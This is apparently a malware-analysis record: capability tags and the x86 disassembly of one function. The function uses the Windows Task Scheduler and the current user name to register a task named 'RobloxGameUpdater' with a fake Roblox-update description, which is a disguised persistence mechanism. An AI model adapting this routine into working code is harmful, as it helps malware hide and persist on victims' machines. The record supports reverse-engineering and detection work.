Function at 0x407995
Capabilities:
Get session user name
Schedule task via itaskservice

Disassembly:
push 0x4cc
mov eax, 0x438e0d
call fcn.0043805e
mov dword [ebp - 0x444], ecx
xor ecx, ecx
mov dword [ebp - 0x450], ecx
lea eax, [ebp - 0x450]
mov dword [ebp - 4], ecx
push eax
push 0x43f880
push 1
push ecx
push 0x43fa90
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
js 0x4080e8
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x4a8]
push eax
call ebx
lea esi, [ebp - 0x4a8]
lea edi, [ebp - 0x4b8]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x498]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call ebx
lea esi, [ebp - 0x498]
lea edi, [ebp - 0x4c8]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x488]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call ebx
lea esi, [ebp - 0x488]
lea edi, [ebp - 0x228]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4d8]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call ebx
mov byte [ebp - 4], 4
lea esi, [ebp - 0x4b8]
sub esp, 0x10
mov eax, dword [ebp - 0x450]
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x4c8]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x228]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x4d8]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x28]
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x4d8]
push eax
call ebx
lea eax, [ebp - 0x488]
push eax
call ebx
lea eax, [ebp - 0x498]
push eax
call ebx
lea eax, [ebp - 0x4a8]
push eax
call ebx
test esi, esi
js 0x4080e8
xor ebx, ebx
mov dword [ebp - 0x460], ebx
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x454]
mov esi, dword [ebp - 0x450]
push 0x4444a8
call fcn.00406c33
mov byte [ebp - 4], 6
mov ecx, dword [eax]
test ecx, ecx
je 0x407ae3
mov ecx, dword [ecx]
jmp 0x407ae5
mov ecx, ebx
mov eax, dword [esi]
lea edx, [ebp - 0x460]
push edx
push ecx
push esi
call dword [eax + 0x1c]
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 5
mov esi, eax
call fcn.00406c98
test esi, esi
js 0x4080d5
mov esi, dword [ebp - 0x460]
lea ecx, [ebp - 0x454]
push str.RobloxGameUpdater
call fcn.00406c33
mov byte [ebp - 4], 7
mov eax, dword [eax]
test eax, eax
je 0x407b30
mov ecx, dword [eax]
jmp 0x407b32
mov ecx, ebx
mov eax, dword [esi]
push ebx
push ecx
push esi
call dword [eax + 0x3c]
lea ecx, [ebp - 0x454]
call fcn.00406c98
mov dword [ebp - 0x44c], ebx
mov byte [ebp - 4], 8
lea edx, [ebp - 0x44c]
mov eax, dword [ebp - 0x450]
push edx
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov esi, eax
test esi, esi
js 0x4080c1
mov dword [ebp - 0x45c], ebx
mov byte [ebp - 4], 9
lea edx, [ebp - 0x45c]
mov eax, dword [ebp - 0x44c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov esi, eax
test esi, esi
js 0x4080ad
lea eax, [ebp - 0x478]
mov dword [ebp - 0x478], 0x104
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [ebp - 0x45c]
lea edx, [ebp - 0x218]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x45c]
push str.This_tasks_helps_Roblox_game_be_updated.
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov dword [ebp - 0x470], ebx
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x470]
mov eax, dword [ebp - 0x44c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov esi, eax
test esi, esi
js 0x408099
mov dword [ebp - 0x46c], ebx
mov byte [ebp - 4], 0xb
lea edx, [ebp - 0x46c]
mov eax, dword [ebp - 0x470]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov esi, eax
test esi, esi
js 0x408085
mov dword [ebp - 0x448], ebx
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x448]
mov eax, dword [ebp - 0x46c]
push edx
push 0x43f970
push eax
mov ecx, dword [eax]
call dword [ecx]
mov esi, eax
test esi, esi
js 0x408071
mov esi, dword [ebp - 0x448]
lea ecx, [ebp - 0x454]
push str.RBXTrigger
call fcn.00406c33
mov byte [ebp - 4], 0xd
mov eax, dword [eax]
test eax, eax
je 0x407c75
mov ecx, dword [eax]
jmp 0x407c77
mov ecx, ebx
mov eax, dword [esi]
push ecx
push esi
call dword [eax + 0x24]
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0xc
call fcn.00406c98
mov ebx, dword [ebp - 0x444]
lea eax, [ebp - 0x230]
mov esi, dword [ebp - 0x448]
mov ecx, ebx
push dword [ebx + 0x2a0]
push dword [ebx + 0x29c]
push dword [ebx + 0x298]
push eax
call fcn.0040782b
mov byte [ebp - 4], 0xe
cmp dword [eax + 0x14], 0xf
jbe 0x407cc5
mov eax, dword [eax]
lea ecx, [ebp - 0x334]
push 3
mov dword [ebp - 0x338], ecx
lea ecx, [ebp - 0x338]
push eax
call fcn.004029ff
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x444]
push dword [ebp - 0x338]
call fcn.00406c33
mov byte [ebp - 4], 0x10
mov ecx, dword [eax]
test ecx, ecx
je 0x407d02
mov ecx, dword [ecx]
jmp 0x407d04
xor ecx, ecx
mov eax, dword [esi]
push ecx
push esi
call dword [eax + 0x3c]
lea ecx, [ebp - 0x444]
call fcn.00406c98
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea eax, [ebp - 0x334]
cmp dword [ebp - 0x338], eax
je 0x407d33
push dword [ebp - 0x338]
call esi
pop ecx
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 0xc
call fcn.004027a6
push dword [ebx + 0x2ac]
mov edi, dword [ebp - 0x448]
lea eax, [ebp - 0x230]
push dword [ebx + 0x2a8]
mov ecx, ebx
push dword [ebx + 0x2a4]
push eax
call fcn.0040782b
mov byte [ebp - 4], 0x11
cmp dword [eax + 0x14], 0xf
jbe 0x407d74
mov eax, dword [eax]
lea ecx, [ebp - 0x43c]
push 3
mov dword [ebp - 0x440], ecx
lea ecx, [ebp - 0x440]
push eax
call fcn.004029ff
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x444]
push dword [ebp - 0x440]
call fcn.00406c33
mov byte [ebp - 4], 0x13
mov ecx, dword [eax]
test ecx, ecx
je 0x407db1
mov ecx, dword [ecx]
jmp 0x407db3
xor ecx, ecx
mov eax, dword [edi]
push ecx
push edi
call dword [eax + 0x44]
lea ecx, [ebp - 0x444]
call fcn.00406c98
lea eax, [ebp - 0x43c]
cmp dword [ebp - 0x440], eax
je 0x407ddc
push dword [ebp - 0x440]
call esi
pop ecx
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 0xc
call fcn.004027a6
mov eax, dword [ebp - 0x448]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov esi, eax
test esi, esi
js 0x40806f
xor edi, edi
mov dword [ebp - 0x468], edi
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x468]
mov eax, dword [ebp - 0x44c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov esi, eax
test esi, esi
js 0x40805b
mov dword [ebp - 0x464], edi
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x464]
mov eax, dword [ebp - 0x468]
push edx
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
mov esi, eax
test esi, esi
js 0x408047
mov dword [ebp - 0x458], edi
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x458]
mov eax, dword [ebp - 0x464]
push ecx
push str.MbLk
push eax
mov edx, dword [eax]
call dword [edx]
mov esi, eax
test esi, esi
js 0x408033
mov esi, dword [ebp - 0x458]
lea eax, [ebp - 0x230]
push eax
mov ecx, ebx
call fcn.004235bd
mov byte [ebp - 4], 0x17
cmp dword [eax + 0x14], 7
jbe 0x407e9f
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x444]
call fcn.00406c33
mov byte [ebp - 4], 0x18
mov ecx, dword [eax]
test ecx, ecx
je 0x407eb9
mov ecx, dword [ecx]
jmp 0x407ebb
mov ecx, edi
mov eax, dword [esi]
push ecx
push esi
call dword [eax + 0x2c]
lea ecx, [ebp - 0x444]
mov esi, eax
call fcn.00406c98
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 0x16
call fcn.00402ab8
test esi, esi
js 0x408033
mov esi, dword [ebp - 0x458]
lea ecx, [ebp - 0x444]
push str._qbg
call fcn.00406c33
mov byte [ebp - 4], 0x19
mov ecx, dword [eax]
test ecx, ecx
je 0x407f0a
mov ecx, dword [ecx]
jmp 0x407f0c
mov ecx, edi
mov eax, dword [esi]
push ecx
push esi
call dword [eax + 0x34]
lea ecx, [ebp - 0x444]
mov esi, eax
call fcn.00406c98
test esi, esi
js 0x408033
mov dword [ebp - 0x474], edi
push ecx
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0x1a
call fcn.00406cf1
mov esi, eax
mov byte [ebp - 4], 0x1b
lea edi, [ebp - 0x228]
push ecx
lea ecx, [ebp - 0x498]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00406cf1
mov esi, eax
mov byte [ebp - 4], 0x1c
lea edi, [ebp - 0x4c8]
push ecx
lea ecx, [ebp - 0x4a8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00406cf1
mov byte [ebp - 4], 0x1d
lea edi, [ebp - 0x4b8]
mov ebx, dword [ebp - 0x460]
lea ecx, [ebp - 0x444]
mov esi, eax
push str.RobloxGameUpdater
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00406c33
mov byte [ebp - 4], 0x1e
mov ecx, dword [eax]
test ecx, ecx
je 0x407faa
mov ecx, dword [ecx]
jmp 0x407fac
xor ecx, ecx
lea edx, [ebp - 0x474]
mov eax, dword [ebx]
push edx
sub esp, 0x10
lea esi, [ebp - 0x228]
mov edi, esp
push 3
movsd dword es:[edi], dword [esi]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x4c8]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x4b8]
push 6
push dword [ebp - 0x44c]
movsd dword es:[edi], dword [esi]
push ecx
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [eax + 0x44]
lea ecx, [ebp - 0x444]
mov esi, eax
call fcn.00406c98
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x4a8]
push eax
call edi
lea eax, [ebp - 0x498]
push eax
call edi
lea eax, [ebp - 0x488]
push eax
call edi
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x474]
test eax, eax
je 0x408033
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x458]
test eax, eax
je 0x408047
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x464]
test eax, eax
je 0x40805b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x468]
test eax, eax
je 0x40806f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor ebx, ebx
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x448]
test eax, eax
je 0x408085
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x46c]
test eax, eax
je 0x408099
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x470]
test eax, eax
je 0x4080ad
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x45c]
test eax, eax
je 0x4080c1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x44c]
test eax, eax
je 0x4080d5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x460]
test eax, eax
je 0x4080e8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x450]
test eax, eax
je 0x4080fc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
call fcn.0043800d
ret